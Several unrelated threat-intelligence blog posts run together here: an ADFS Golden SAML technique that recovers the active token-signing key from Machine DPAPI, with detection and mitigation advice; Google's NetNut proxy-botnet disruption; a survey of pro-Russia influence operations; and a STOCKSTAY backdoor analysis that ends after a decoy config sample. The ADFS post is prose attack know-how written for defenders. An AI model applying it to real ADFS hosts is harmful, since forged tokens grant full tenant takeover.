Written by: Shebin Mathew

Introduction 

The "Golden SAML" technique, first described by CyberArk researchers in 2017, and further detailed by Mandiant researchers in 2021, remains one of the most effective methods for threat actors to forge identity assertions in the Microsoft ecosystem. By obtaining the private key of an ADFS token-signing certificate, an attacker can authenticate as any user to any SAML-federated application, bypassing multifactor authentication (MFA), conditional access, and all identity-based controls.

However, during a recent red team engagement, Mandiant discovered that when ADFS certificates are manually rotated, configuration drift can silently leave active signing keys exposed in Machine DPAPI. Specifically, Mandiant discovered that in environments where AutoCertificateRollover is disabled and certificates are manually rotated, the database often becomes a 'ghost'—a record that still exists, still decrypts successfully, but references a certificate no longer used for token signing by the ADFS service. This attack vector warrants attention because the underlying configuration is commonly deployed in enterprise environments. The technique avoids direct interaction with components such as LSASS and the live ADFS service process, which are often subject to enhanced monitoring in enterprise environments, and may therefore result in lower visibility depending on the organization’s telemetry coverage. This post details how adversaries may exploit this TTP to forge high-privilege SAML tokens and provides the blueprint to defend against it.

Technical Insight: Encountering the ‘Ghost Certificate’

Analysts followed the standard DKM extraction path, retrieving the encrypted blob from the WID database and decrypting it using the DKM material stored in Active Directory. The extraction succeeded, but the recovered certificate was no longer valid for token signing, and Entra ID rejected the resulting tokens with AADSTS500172 due to invalid signing material. Although structurally correct, the artifact is not usable for authentication, as the active signing key resides in the system’s machine-scoped cryptographic store, protected by Windows Machine DPAPI and managed through the operating system’s cryptographic subsystem. Successfully obtaining this active key allows an attacker to forge valid SAML assertions for any user, bypassing the need for user credentials and multi-factor authentication, and granting unauthorized access to any SAML-federated application including Microsoft 365 and Entra ID within the organization's environment.

Analysis revealed that AutoCertificateRollover had been disabled and a manual rotation had been performed. Confirmation was obtained directly via Get-AdfsProperties, which returned AutoCertificateRollover: False, indicating that certificate lifecycle management had been delegated to manual administrative processes. While the ADFS service used a new valid key for signing, the WID configuration database was never updated to reflect the new certificate—leaving an expired "ghost" entry as the only record. This drift condition surfaces via Microsoft Event ID 385, which indicates certificate validity warnings in the ADFS service. Notably, this event self-resolves when AutoCertificateRollover is re-enabled and a subsequent certificate rollover is performed; in environments where it is disabled and manual rotation is performed without a corresponding database update, it is the observable symptom of this drift condition.

ADFS maintains private keys in two protection contexts. In Location 1 (User DPAPI), encrypted key blobs may exist on disk, but the DPAPI protection is tied to the service account's SID and associated DPAPI masterkey material. In the assessed environment, the domain DPAPI backup key approach successfully decrypted masterkey material for interactive user profiles, but returned no decryptable material associated with the ADFS service account profile. All subsequent offline decryption attempts similarly failed, consistent with the masterkey not being recoverable through the evaluated on-disk recovery approach in this environment—though this observation is bounded to the assessed environment and does not represent a universal architectural property of all ADFS deployments.

Location 2 (Machine RSA) does not rely on a user-specific logon session. Instead, the key material is protected using Machine DPAPI, leveraging the DPAPI_SYSTEM LSA secret together with machine masterkeys available to sufficiently privileged SYSTEM-level contexts.

Why the WID Path Misses This Key

In ADFS environments experiencing configuration drift—commonly arising during manual certificate rotations where AutoCertificateRollover is disabled—the ADFS service host can successfully bind to a newly provisioned signing certificate at the operating-system level, ensuring continued service operation. However, the WID configuration database may not reflect the current signing certificate, resulting in stale certificate metadata.

This divergence between configuration and runtime state is the condition that ADFS Event ID 385 is designed to flag. As a consequence, extraction techniques that rely solely on the WID database and DKM material may return certificates that are no longer used for active signing, leading to rejected assertions in downstream federation scenarios.

Understanding How the Machine DPAPI Store Becomes Populated

Understanding how the Machine DPAPI store becomes populated requires examining how ADFS persists its token-signing key material. During initial deployment, automatic certificate rollover, or manual certificate rotation, ADFS persists its RSA private key material in the machine-scoped CAPI key store at C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\, protected using machine DPAPI context rather than a user-bound DPAPI context. SharpDPAPI /machine enumeration in the assessed environment confirmed that the active machine key material resided under this path, while the CNG Crypto\Keys store was not observed in use in the assessed environment.

The protection chain relies on the DPAPI_SYSTEM LSA secret together with machine masterkeys associated with the S-1-5-18 security context, stored in C:\Windows\System32\Microsoft\Protect\S-1-5-18\ as DPAPI-protected key material—both components ultimately resolvable only within highly privileged SYSTEM-level contexts on the host. The corresponding certificate is enrolled into the LocalMachine\My certificate store, from which ADFS retrieves the associated private key during token-signing operations.

The architectural rationale for machine-scoped key storage is operational resilience. A machine-scoped key remains usable across service account password changes, gMSA rotations, system reboots, and service restarts without requiring key reprovisioning or dependency on a specific interactive logon session. This design ensures that the ADFS service can consistently access the signing key regardless of changes to the underlying service account credentials.

However, this same design choice has important security implications. Because the private key is protected using Machine DPAPI rather than a user-bound DPAPI context, a sufficiently privileged local process capable of accessing the machine key store and associated DPAPI artifacts may be able to recover the key material independently of the original service logon session. As a result, under certain conditions, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to defenses primarily focused on credential dumping or process-memory access behaviors.

Attack Flow: Machine DPAPI Key Recovery to SAML Forgery

The recovered key was used to forge a SAML assertion impersonating a Global Administrator identity, which Entra ID accepted as a valid authentication assertion, resulting in authenticated access at Global Administrator privilege level within the federated Microsoft 365 tenant.

Detection and Hunting

Defenders should prioritize visibility into operating system-level cryptographic operations and identity issuance behavior, rather than relying solely on application-layer configuration stores.

• SACL-Based Object Access Monitoring: Configure object access auditing via SACLs on C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\ and C:\Windows\System32\Microsoft\Protect\S-1-5-18\. When configured correctly, this generates Security Event ID 4663 for file access attempts. Coverage depends on SACL configuration and access paths; treat this as supporting evidence in correlation-based detection rather than a stand-alone signal.

• ADFS Token Issuance Consistency: Monitor for inconsistencies between primary authentication events and token issuance events in ADFS audit logs. Relevant events include token issuance and claims processing records (Event IDs 299, 1200-series, depending on ADFS version and audit configuration). The objective is to identify token issuance that cannot be clearly correlated to a preceding authentication context. This is most effective when normal authentication patterns per relying party trust are baselined.

• Federated Identity Monitoring in Entra ID: Entra ID sign-in logs will record an accepted forged assertion as a standard federated sign-in event. Detection requires cross-correlating Entra ID sign-in records against ADFS-side issuance logs—neither source in isolation is sufficient. For privileged accounts, focus on unexpected Internet Protocol (IP) ranges, claim set deviations,and user-agent inconsistencies.

Mitigation and Remediation

ADFS infrastructure should be treated as Tier 0 identity infrastructure, equivalent in criticality to Domain Controllers. If SYSTEM access is achieved on an ADFS host, the signing key must be considered compromised.

• Hardware-Backed Key Protection: Migrate token-signing certificates to a Hardware Security Module (HSM). HSM-backed keys ensure private key material does not exist in software-accessible storage on the host, eliminating the Machine DPAPI extraction path entirely.

• gMSA Service Identity: Run ADFS services using Group Managed Service Accounts to automate credential rotation and reduce operational drift in service identity management. While this does not directly address machine-scoped key protection, it eliminates manual credential management as a contributing factor to configuration drift.

• Tier 0 Administrative Controls: Govern ADFS servers with strict Tier 0 controls: restricted administrative access pathways, dedicated Privileged Access Workstations (PAWs), separation from general server administration domains, and enhanced privileged access monitoring.

• Certificate Rotation and Configuration Validation: If compromise is suspected, rotate the token-signing certificate and validate consistency across ADFS configuration, the  LocalMachine\My store, and federation metadata. Do not rely on a single source of truth. For environments with AutoCertificateRollover disabled, manual rotation must include updating ADFS via Set-AdfsCertificate—installing the certificate alone is insufficient. Validate using Get-AdfsCertificate after rotation. If Event ID 385 appears afterward, investigate for configuration inconsistency. 

• Multicloud Scope Awareness: A compromised ADFS token-signing key affects all SAML relying party trusts, not just Microsoft services. Organizations using ADFS for identity federation across other software-as-a-service (SaaS) platforms should treat ADFS as Tier 0 infrastructure and audit all relying party trusts. Migrating away from ADFS-based federation (e.g., to native OIDC federation) removes this specific attack path.

Background

Today, in coordination with the FBI, Lumen, and others, Google took action against the NetNut residential proxy network, also known as Popa. This action builds on our disruption of the IPIDEA proxy network that took place in January 2026, and is a continuation of Google’s objective to dismantle malicious residential proxy networks.

Actions Taken

As a part of this disruption we took the following actions:

1. Disabled Google accounts and associated Google services used by NetNut for malware command and control (C2), which directly violates Google’s Terms of Service and Acceptable Use Policy. 

2. Shared technical intelligence on NetNut software development kits (SDKs) and backend C2 infrastructure with platform providers, law enforcement, and research firms to help drive ecosystem-wide awareness and enforcement.

3. We ensured Google Play Protect, Android’s built-in security protection, automatically warned users and disabled applications known to incorporate NetNut SDKs, and the system will continue to protect users against future install attempts. These efforts to help keep the broader digital ecosystem safe supplement the protections we have to safeguard Android users on certified devices.

We believe our coordinated actions have caused significant degradation to NetNut’s proxy network and its business operations, reducing the available pool of devices for the proxy operator by millions. In addition to selling access to the network under the NetNut brand, NetNut has a robust reseller program that allows whitelabeling of its network. Google has high confidence that many popular residential proxy brands are in fact whitelabeling the NetNut botnet. While we expect this disruption to have a larger ripple effect across the residential proxy ecosystem, observations after the disruption of IPIDEA proved that individual networks can appear resilient. What we have observed is that when faced with the degradation of their own botnet, proxy operators begin buying capacity from their competitors, effectively becoming a reseller. We recognize that creating a lasting disruption in this fluid ecosystem means we must scale our efforts to target the infrastructure of several interconnected providers. We will continue to observe the composition of the NetNut network and map out how its peers adapt to this action.

Why it Matters

NetNut is among the largest and most popular residential proxy networks. Estimating the size of residential proxy networks is extremely challenging, but Google Threat Intelligence Group (GTIG) estimates the size of the NetNut network to be at least 2 million devices, distributed across the world. Public reporting by KrebsOnSecurity and others, confirmed by Google, illustrates that NetNut populates its botnet by distributing SDKs for devices commonly found in homes, such as smart TVs and streaming boxes. GTIG has also identified NetNut botnet plugin components for large-scale botnets such as Badbox 2.0.

Residential proxy networks sell the ability to route traffic through IP addresses owned by internet service providers (ISPs), allowing attackers to mask malicious activity by hijacking these IP addresses. A robust residential proxy network requires controlling millions of residential IP addresses to sell to customers for use. To accomplish this, operators need code running on home devices to enroll them into the malicious network as exit nodes. Home devices become part of proxy networks either because they are pre-installed with malware before purchase or because users unknowingly download applications containing hidden proxy code. This creates serious risks for unsuspecting device owners, as their home IP addresses can be used by attackers as a launchpad for hacking and other unauthorized activities. Consequently, users can have their legitimate traffic flagged as suspicious, or blocked by their service providers.

In a single week during June 2026, GTIG observed 316 distinct threat clusters using suspected NetNut exit nodes, including cybercriminal and espionage groups. These bad actors can use NetNut to mask their origin IP address when accessing victim environments, accessing their own infrastructure, and conducting password spray attacks. Furthermore, when a consumer device becomes an exit node, unauthorized network traffic passes through it. This means bad actors can access other private devices on the same home network, effectively exposing them to Internet threats. Public reports by Synthient, Spur, Nokia Deepfield, and others have documented the use of NetNut to infect devices with variants of Mirai DDoS botnets.

Empowering and Protecting Consumers

Consumers should be extremely wary of applications that offer payment in exchange for "unused bandwidth" or "sharing your internet." These applications are primary ways for malicious proxy networks to grow, and could open security vulnerabilities on the device’s home network. We urge users to stick to official app stores, review permissions for third-party VPNs and proxies, and ensure built-in security protections like Google Play Protect are active.

Consumers should be careful when purchasing connected devices, such as set top boxes, to make sure they are from reputable manufacturers. For example, to help you confirm whether or not a device is built with the official Android TV OS and Play Protect certified, our Android TV website provides the most up-to-date list of partners. You can also take these steps to check if your Android device is Play Protect certified.

Future Work

As we noted earlier this year, the residential proxy industry appears to be rapidly expanding, and this coordinated disruption is not the end of our work combating malicious residential proxy networks. This industry is deeply connected and operators depend on overlapping botnet networks that are constantly resold. While point-in-time disruptions are a critical tool to protect our users, continued and coordinated effort is needed to reduce malicious proxy networks in the long run. We encourage mobile platforms, ISPs, and other tech platforms to continue sharing intelligence and to take direct action to block malicious C2 infrastructure.

Written by: James Sadowski, Alden Wahlstrom

Introduction

Four years into Russia’s full-scale invasion of Ukraine, the pro-Russia influence ecosystem has evolved from a tool of war back into a global strategic asset. Since the mobilization of this ecosystem to support frontline objectives, we have witnessed the expedited development of new influence assets linked to multiple, expansive, covert information operations (IO) campaigns and a revitalization of pro-Russia hacktivism at an unprecedented scale. While this threat activity initially adapted to encompass Ukraine-related priorities, it is gradually pivoting back to established Russian influence objectives for which the ecosystem was originally honed. This shift is significant because it likely signals increased focus outside of Ukraine, warning that pro-Russia influence activity targeting the European Union (EU), North Atlantic Treaty Organization (NATO), and other top targeting priorities may intensify. 

Ultimately, the war in Ukraine has provided a critical feedback loop for Russia to refine its influence activity, lessons that we anticipate will be applied as the ecosystem continues to reorient toward global strategic objectives while maintaining focus on Ukraine. Further, recent pro-Russia IO indicates the continued expansion of already diverse tactics, and the increasing use of generative AI tooling for planning, research, and content creation marks a forward trend in pro-Russia IO. Meanwhile, new and different actors have adopted IO tactics to meet an increasingly diverse set of challenges, signaling growing Russian reliance on influence tactics. Together, these trends likely demonstrate the Kremlin's perception of these tactics as cost effective and successful. The interconnected nature of the ecosystem's disparate components makes it resilient to limited scope disruptions, which defenders must consider to effectively mitigate pro-Russia influence threats. 

The Ecosystem at a Glance: Objectives, Targeting, and Tactics

Russia's modern approach to information operations is built on the conceptual foundation of Soviet-era "active measures" adapted for the digital age. Alongside disruptive cyberattacks dating back to the early 2000s, the Kremlin has increasingly harnessed internet-based platforms for espionage and information operations. Russia's approach has evolved from rudimentary, singular operations into a complex, self-sustaining environment intentionally curated by the Russian Government that blends overt, covert, and independent elements to advance Kremlin interests both at home and abroad.

Core Influence Objectives 

GTIG’s observations suggest the primary strategic motivations driving the pro-Russia influence ecosystem fall into five categories, each aiming to achieve military and/or political objectives through psychological manipulation of the target audience (Figure 1). Collectively, these objectives informally depict a global influence strategy: through the furthest reach of its influence, the Kremlin seeks to diminish Western primacy and advance Russia's global position; within its surrounding region, it strives to retain and return Moscow's dominance; and at home, it works to ensure the stability of the political regime.

Targeting 

Pro-Russia influence operations are pivoting from the near singular focus on Ukraine that dominated the ecosystem since 2022. We expect influence operations advancing Russia's war-specific interests to continue. However, as Russia seeks to reemerge from international isolation, we have increasingly observed a concurrent focus on pre-war pro-Russia influence objectives. 

The current and historical targeting scope of each ecosystem component exposes both the Kremlin's global ambitions and the realistic limitations of its power projection. State-owned media organizations produce content intended to serve populations across six continents, but in recent years, sanctions and other factors have limited its production and distribution. Meanwhile, covert operations have appeared more limited in scope, primarily targeting the West and countries surrounding Russia, with intermittent operations targeting the Middle East and Africa, indicating that finite resources necessarily limit these operations (Figure 2).

Top Regional Targets

• The United States and Europe: The Kremlin has long viewed the West as a top adversary of Russia. Accordingly, the US and Europe are top targets of covert pro-Russia information operations, especially aimed at undermining political stability within these countries and the unity between them. NATO and the EU embody the collective "West" and are Russia's perceived top adversaries, second only to the US independently.

• Russia's "Near Abroad": Since the dissolution of the Soviet Union, Moscow has asserted that the countries that formerly comprised part of the USSR now reside in Russia's so-called "sphere of influence." Covert influence targeting this region directly reflects Moscow's assertion that Russia is a world power entitled to special privileges within its neighborhood. 

• The Middle East and Africa: Over the past decade, Russian efforts to reassert itself as a global power have included high-profile investments in cultivating Russia's standing in the Middle East and Africa. Covert pro-Russia influence activity is likely deployed in tandem as intended support for other Russian initiatives in these regions.  

• Russia Domestic: Internally targeted covert IO is a well-established component of pro-Russia influence activity, deployed by regime-aligned actors to promote Kremlin policies and repress opposition voices. 

Targeted Entities and Global Events

• The Olympics: Russia has long viewed Olympic participation as a point of national prestige, and GTIG has observed notable Russian influence activity targeting the Olympics in the face of Russian participation bans. 

• War in Ukraine: The war in Ukraine has been a key driver of Russia's influence activity, including attempts to influence events on the ground as well as influence activity intended to advance Moscow's interests elsewhere vis-a-vis the war. GTIG expects that Ukraine will remain a priority in Russia's targeting calculus during the post-conflict phase following any future peace agreements.

• Elections: Election targeting aligns with multiple Russian influence objectives, including attempting to undermine confidence in democratic institutions as well as internally weakening perceived Western adversaries. These operations regularly target elections in countries that are already prioritized by ongoing pro-Russia influence activity. 

• Ad Hoc Geopolitical Flashpoints and Global Events: Russian influence actors have a history of pivoting activity to engage with emerging geopolitical developments and events, such as the COVID-19 pandemic or the 2026 Middle East conflict. This flexible target selection often overlaps or is aligned with other Russian priorities, making previously observed Russian influence activity helpful in anticipating which events may be appropriated.

Tactics 

Converging geopolitical and technological developments make the evolution of pro-Russia influence tactics a particularly important space to monitor right now. The pro-Russia influence ecosystem expanded to support the war effort, bringing change across the spectrum of activity and providing operators the opportunity to hone their tactics, techniques, and procedures (TTPs) in the rapid feedback loop of war. Meanwhile, the emergence and increased democratization of generative AI tooling has brought both promised and already realized opportunities to support all phases of the IO lifecycle. The following are a sample of key tactics that illustrate how pro-Russia actors currently blend well-tested methods with new technological developments to reach audiences through diverse means:

• Generative AI: GTIG has observed pro-Russia influence actors increasingly leverage AI tooling to support different stages of their operations, including support for planning and general research as well as content creation.

• Google Threat Intelligence Group (GTIG) is closely tracking the transition from nascent AI-enabled operations to the maturing, industrial-scale application of generative models within adversarial workflows across threats ranging from espionage and crime to IO. Please see our latest AI threat tracker for more information on how this threat is developing based on our insights, and what Google is doing to protect our customers. 

• Narrative Resonance: Hijacking existing ideological and emotional fissures within a society provides pro-Russia influence actors tailored narratives to target audiences and potentially increases potential engagement and impact. 

• Cyber-Enabled IO: Influence campaigns frequently coincide with destructive cyberattacks, such as the deployment of wiper malware alongside website defacements containing false surrender messages, or the historic use of "hack and leak" campaigns in which exfiltrated data, sometimes manipulated, is then publicized through an actor-controlled false persona. In some instances, Russian actors may even leverage direct cyber espionage targeting as a way to achieve psychological effects, intending to influence victims' behavior through intimidation.

• Media Mimicry: Pro-Russia actors have attempted to mimic legitimate media at scale and through a variety of means, including via the wholesale appropriation of legitimate media brands or developing inauthentic media brands that generally masquerade as independent news sources. These tactics are intended to add a veneer of legitimacy to the promoted narratives. 

• Direct Dissemination: Pro-Russia influence actors have used closed communication channels, such as emails, SMS text messages, and messenger apps, to disseminate various types of pro-Russia narratives as an adjunct to or outside typical social media-focused operations. 

Core Ecosystem Components 

The current pro-Russia influence ecosystem operates across a spectrum from official government communications to deniable covert actions conducted by intelligence services and "patriotic" proxies. GTIG identified six core components that represent key activity types (Figure 3). While many elements are state-directed or state-affiliated, the ecosystem is also a cultivated, self-sustaining system: various actors, often without explicit direction, amplify Kremlin-friendly narratives and pursue actions that advance Russia's strategic interests. This fluidity provides resilience and complicates attribution, mirroring the longstanding Kremlin strategy to co-opt non-state actors, including criminal networks for finance or illicit logistics, to achieve state objectives without direct attribution. Although each of the core ecosystem components serves as a unique lever the Russian Government can employ to achieve desired objectives, they are regularly used together. For instance, while the entire pro-Russia hacktivist landscape is not state-sponsored, the Russian intelligence services have used both genuine and fabricated hacktivist personas to launder stolen data as part of blended cyber espionage and IO hybrid operations.

An Interconnected Ecosystem Enhances Influence Utility

Figure 4 illustrates the complex, interconnected nature of the pro-Russia influence ecosystem by mapping relationships between a selection of key actors and organizations across five of the core components. The ecosystem functions as a cohesive unit, not only through shared objectives, but also through direct cross-component interactions. The Russian Government functions as the sixth core ecosystem component, setting the policy and talking points that inform the ecosystem’s promoted narratives and sponsoring overt and covert assets throughout the other five components diagrammed in Figure 4. Through these levers, the Kremlin fosters the cross-component links that underpin the ecosystem, enhancing its overall utility as a versatile tool of state influence.

10 Key Dynamics for Understanding the Pro-Russia Influence Ecosystem

The scope and diversity of activity in the pro-Russia influence ecosystem challenges defenders tasked with enumerating, tracking, and countering its threats. GTIG has distilled 10 key ecosystem dynamics based on our current understanding of its components and how they each enable covert influence activity. These dynamics frame critical aspects of how activity manifests within the ecosystem, providing a high-level guide to understand and track these threats.

Large-scale IO campaigns are an integral element of the pro-Russia influence ecosystem. Major pro-Russia IO campaigns have been an enduring feature of the pro-Russia ecosystem, with new campaigns emerging as previous ones fall into inactivity. Maintaining extensive IO campaigns and their associated established influence infrastructure enables proactive messaging on strategic issues and underpins a capability that can be rapidly adapted for emerging domestic and global priorities.

• Long-established IO campaigns, like Secondary Infektion, pivoted to meet new strategic needs as Russia’s 2022 invasion of Ukraine began. New IO campaigns, such as “Operation Overload,” subsequently emerged to support the war effort; while Secondary Infektion has become dormant, these “successor” campaigns have since been leveraged to advance other global Russian influence objectives beyond the war itself. 

Pro-Russia actors often prioritize persistence and the range of tactics they leverage reflects this. In the face of public exposure and disruption, pro-Russia actors and their infrastructure have often remained persistent, sometimes making tactical adjustments to mitigate the effects of detection and disruption and other times continuing operations unabated. 

• These persistence tactics include the Doppelganger campaign and overt Russian media’s respective cycling of domain infrastructure and/or use of mirror domains to overcome exposure, platform bans and sanctions. Influence operators also frequently continue using compromised assets, sometimes mocking their exposure, as seen with the legacy US-targeted NAEBC campaign and the APT44-affiliated hacktivist persona XakNet Team.

Pro-Russia and Russian cyber espionage groups leverage IO tactics to support their operations and weaponize stolen data and/or illicit access. While less frequent, this hybrid activity is a critical dynamic within the pro-Russia influence ecosystem. GTIG has previously observed operations used to shape narratives around cyberattacks and influence events on the ground and to conduct foreign political interference, including the repeated targeting of foreign elections, reported in Spring 2024. We have attributed some observed instances of this to Russian government-sponsored threat actors.

• Russian state sponsored or pro-Russia hacktivist groups have long relied on public advertisement of real or claimed data exfiltration to highlight their operations, intimidate targets, or sway public opinion. In 2022, UNC4057 (COLDRIVER) used data stolen from espionage targets in a high profile hack-and-leak operation seeking to exacerbate divisions in UK politics. More recently, the self-proclaimed hacktivist group PalachPro claimed in February 2026 to have gained unauthorized access to a Ukrainian government online portal and publicly posted screenshots of the claimed compromise. The Ukrainian government has previously noted that the portal does not store the type of data the threat actor claimed to compromise, suggesting the public posting was likely intended as influence activity, attempting to create the illusion of a more serious threat.

Pro-Russia hacktivists serve a direct influence function. Modern pro-Russia hacktivism has evolved into an important component of the influence ecosystem that blends state-backed actors leveraging hacktivist tactics with an evolving cohort of likely third-party hacktivist actors that support Russia's geopolitical interests. Pro-Russia hacktivist groups gain domestic and foreign attention for strategic messaging via their claimed threat activity, amplify narratives directly seeded in overt ecosystem segments, and at times also support traditional IO activity or create a means of plausible deniability for state-sponsored espionage actors. 

• The self-proclaimed hacktivist group NoName057(16) emerged following the Russian invasion of Ukraine in 2022, primarily targeting Ukraine and its partners and allies with DDoS attacks and various network intrusions. It has targeted high profile events, such as the Milano Cortina Winter Olympics, institutions like the French National Assembly, and critical infrastructure and transportation targets in Germany. Often their messaging cites grievances with overt acts of Western support for Kyiv, suggesting the group advances Russian interests not only through the targeting of perceived Russian adversaries but also in gaining attention for its pro-Russia messaging. 

Established ecosystem components facilitate the cultivation of new assets and activity. Inter-ecosystem cross-promotion helps overcome challenges of audience building by directing traffic toward new assets, operations, and narratives, enabling rapid deployment of new and existing IO capabilities. This directly supports a self-sustaining cycle that maintains and expands the ecosystem. 

• The hacktivist persona JokerDNR played a significant role in amplifying the APT44-linked persona Solntsepek when its doxxing-focused Telegram channel first launched and then again as it began claiming cyber espionage activity. 

Domestic Russian audiences are a longstanding target of the pro-Russia influence ecosystem. Internally directed influence activity has often involved the promotion of Kremlin policies and talking points and the denigration of opposition voices and ideas, conducted by both overt and covert segments of the ecosystem. 

• Ahead of Russia’s March 2024 presidential election, GTIG identified the hybrid espionage and influence actor UNC5101 register domains and conduct associated influence operations attempting to deceive Russian opposition voters about the timing of an anti-Putin protest.

Ecosystem actors respond to the same set of internal shifting circumstances and external geopolitical developments, often leading to seemingly similar, but ultimately distinct, activity. These shared drivers and general motivational alignments encourage actors to "spontaneously" coalesce around a particular topic or narrative. While this can appear superficially similar, this phenomenon is distinct from instances of actor coordination and campaign linkages, which is less common. 

Systemic flexibility is a central feature, with influence assets able to mobilize both incrementally and at scale to advance Russian interests. The Russian Government is able to mobilize assets across the ecosystem to respond to strategic events. Meanwhile, individual or aligned actors can separately mobilize to address tactical needs, allowing the ecosystem to concurrently message on multiple issues across different geographies (Figure 7). 

• Russia demonstrated its ability to focus the ecosystem on a single strategic issue like the Russian invasion of Ukraine. Simultaneously, discrete assets have addressed tactical events, such as when Portal Kombat briefly promoted narratives about a Russian drone incursion into Poland concurrently with other covert pro-Russia influence activity.

Overt Russian media contributes to, and is connected with, multiple covert influence components. The overt components of Russia's influence infrastructure play a critical role within the broader Russian influence ecosystem beyond the commonly understood function of providing a public platform for government-aligned narratives and official talking points; overt media helps to drive (inform targeting) and amplify covert pro-Russia influence activity, seeding desirable narratives within the ecosystem and providing an indirect conduit between the Kremlin and a disparate array of influence actors. Overt media outlets have directly coordinated their activity with covert actors and have increasingly employed IO tactics to disseminate their own content in the face of sanctions and platform bans (Figure 8). 

• US Government sanctions in late 2024 indicated that Russian state media company Russia Today (RT) directly conducted covert influence operations, including on behalf of the Russian intelligence services. Further, RT employees reportedly interacted with members of the self-proclaimed hacktivist group RaHDit, which has claimed to collaborate with multiple other pro-Russia hacktivist groups, illustrating the layered connections between overt media, Russian intelligence services, and hacktivist groups.

Outsourcing IO capability development and campaign execution to third-party organizations and proxies enables scaling and obfuscation. Outsourcing is used for developing custom tooling and bolstering both human and organizational capacity. While custom tool development facilitates operators in all phases of the IO lifecycle, Russian government actors can flexibly leverage different models for outsourcing campaign execution based on their specific needs. Proxy actors can also generate plausible deniability (Figure 9). 

• GTIG reported how Russian IT contractor NTC Vulkan (Russian: НТЦ Вулкан) worked with the Russian intelligence services, including providing tooling and support for the GRU unit that sponsors APT44 activity. Separately, US government sanctions detailed how the Doppelganger campaign is supported by multiple Russian contractors under the sponsorship of the Russian Presidential Administration.

Conclusion

Multiple factors are propelling the evolution of the pro-Russia influence ecosystem we have observed since Moscow’s full scale invasion of Ukraine four years ago. The Kremlin mobilized the entire ecosystem to support the ongoing conflict, which has provided rapid feedback and driven significant investment in new and established overt and covert influence assets. At the same time, pro-Russia actors are increasingly experimenting with generative AI to enhance their workflows. This condensed period of adaptation, alongside signals suggesting Russia's growing reliance on IO tactics to navigate new challenges, raises concerns regarding how a potentially diversifying pool of actors will leverage advancements in tradecraft and scalability. As Russia seeks to emerge from international isolation and reorients its influence ecosystem back toward global objectives, it is critical for defenders to understand how this ecosystem provides the Kremlin with a durable influence capability in order to better anticipate future Russian influence threats.

Additional Tools and Resources

For mitigation and hardening recommendations, please review the following:

• How to Understand and Action Mandiant's Intelligence on Information Operations

• Proactive Preparation and Hardening to Protect Against Destructive Attacks

• Linux Endpoint Hardening to Protect Against Malware and Destructive Attacks

• Distributed Denial of Service (DDoS) Protection Recommendations

Google offers a suite of free of cost tools to help protect high-risk users from the most pervasive digital attacks, to which politicians, journalists, and campaigns are often most vulnerable. Examples include protecting accounts from targeted attacks with Advanced Protection Program and safeguarding campaign websites from DDoS attacks with Project Shield.

Written by: Jordan Jones

Introduction 

Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-0194) since at least December 2022. Turla has deployed STOCKSTAY against government and military organizations in Ukraine, as well as entities with an interest in Italian foreign policy. Used for ongoing cyber espionage, this backdoor shares significant code and functional overlaps with KAZUAR, a successful toolkit previously attributed to Turla. The group has a long history of targeting a wide range of industries, with a particular focus on western Ministries of Foreign Affairs, and defense organizations within the context of heightened political tensions. 

Turla, and specifically their longstanding Snake implant, has been publicly attributed by the United States Cybersecurity and Infrastructure Security Agency (CISA) to Center 16 of Russia’s Federal Security Service (FSB). Turla is one of the oldest known cyber espionage groups with suspected activity dating back to at least 2004. The actor remains active and continues to evolve its delivery methods, as demonstrated by its deployment of specialized scripts to intercept secure communications from Signal Messenger users, its hijacking of legacy criminal botnets to target Ukrainian organizations, and its recent campaigns targeting military defense sectors using the highly sophisticated KAZUAR toolkit. As part of our continued tracking of this group, this blog post provides an overview of our STOCKSTAY analysis, includes a timeline of key developmental and operational observations, and examines its similarities to KAZUAR to contextualize this new capability within Turla’s ever-growing arsenal.

STOCKSTAY Overview

STOCKSTAY is a multi-component backdoor written in .NET, using the Windows Forms framework, which communicates with its command and control (C2) via a secure WebSocket connection, utilizing the open-source websocket-sharp library. STOCKSTAY consists of several distinct components that communicate with one another via an inter-process communication (IPC) channel, based on the exchange of WM_COPYDATA messages. 

STOCKSTAY was originally designed to masquerade as a stock market data viewing tool, incorporating this disguise in both its file naming scheme and its storage of implant configuration, control messages, and response data. While initial versions of the malware observed by GTIG retained the internal aspects of this disguise, in 2025 we identified variants of STOCKSTAY masquerading as other benign applications, such as PDF viewers and calculator utilities.

STOCKSTAY.STOCKBROKER

STOCKSTAY.STOCKBROKER is a proxy-aware tunneler which provides network communication capabilities to the wider STOCKSTAY ecosystem. STOCKSTAY.STOCKBROKER, internally referred to as "net", can be instructed to establish a secure WebSocket connection to a specified remote server, after which it acts as a relay between the server and the STOCKSTAY.STOCKMARKET orchestrator. As a result, all C2 communication between STOCKSTAY and the configured C2 server are handled by STOCKSTAY.STOCKBROKER, isolating the malware’s network communications from other malicious host-based activity on the infected machine. 

STOCKSTAY.STOCKMARKET

STOCKSTAY.STOCKMARKET, internally referred to as “cor”, is the orchestrator of the STOCKSTAY ecosystem, and enables the implant’s configurability. The malware’s configuration is loaded from an encrypted on-disk configuration file which specifies several options regarding the malware’s execution, including the details of the remote WebSocket server required by STOCKSTAY.STOCKBROKER. The configuration file attempts to disguise itself as a legitimate file by including various legitimate URLs associated with cryptocurrency markets, as well as falsified descriptions of each configuration field (Figure 2). Encrypted configuration data is embedded within the decoy fields, which is decrypted by STOCKSTAY.STOCKMARKET.

{
  "Name": "StockMarket",
  "Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
  "Theme": "Dark",
  "SystemConfiguration": [
    "1D.AA.79.9F.45.AA.04.B3.<snipped>.68.0A.5D.A3.E6.A3.82.FA",
    "6F.41.4D.6D.C3.20.E5.32.<snipped>.00.B8.26.DF.E1.13.0A.21",
    "4.4.3.12"
  ],
  "Interval": 10,
  "Services": [
    "wss://ws-api.binance.com:443/ws-api/v3",
    "wss://ws-feed.exchange.coinbase.com",
    "wss://ws-feed-public.sandbox.exchange.coinbase.com",
    "wss://stream.bybit.com/v5/public/spot",
    "wss://stream.bybit.com/v5/public/linear"
  ],
  "Version": "2022-12-21"
}

